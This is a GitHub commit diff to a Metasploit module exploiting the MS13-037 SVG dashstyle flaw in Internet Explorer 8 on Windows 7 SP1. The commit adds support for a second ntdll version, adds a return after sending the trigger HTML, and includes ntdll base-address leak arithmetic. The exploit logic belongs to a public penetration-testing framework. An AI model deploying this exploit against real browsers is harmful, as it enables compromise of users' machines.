Skip to content

Commit c38eabe

Browse files
author
jvazquez-r7
committed
Fix description, code and perform test
1 parent 5c80534 commit c38eabe

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -33,8 +33,8 @@ def initialize(info={})
3333
shapes on the vgx.dll module. This module has been tested successfully on Windows 7
3434
SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
3535
to use an info leak to disclose the ntdll.dll base address is provided. This target
36-
requires ntdll.dll v 6.1.7601.17514 in order to work (the default dll version on a
37-
fresh Windows 7 SP1 installation).
36+
requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
37+
installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
3838
},
3939
'License' => MSF_LICENSE,
4040
'Author' =>
@@ -415,6 +415,7 @@ def on_request_uri(cli, request)
415415
html = html.gsub(/^\t\t/, '')
416416
print_status("Sending HTML to trigger...")
417417
send_response(cli, html, {'Content-Type'=>'text/html'})
418+
return
418419
end
419420

420421
vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
@@ -428,9 +429,9 @@ def on_request_uri(cli, request)
428429
@ntdll_version = "6.1.7601.17725" # MS12-001
429430
@ntdll_base = leak - 0x47090
430431
else
431-
print_error("ntdll version not detected, sending 404: #{agent}")
432-
send_not_found(cli)
433-
return
432+
print_error("ntdll version not detected, sending 404: #{agent}")
433+
send_not_found(cli)
434+
return
434435
end
435436

436437
html = load_exploit_html(my_target, cli)

0 commit comments

Comments
 (0)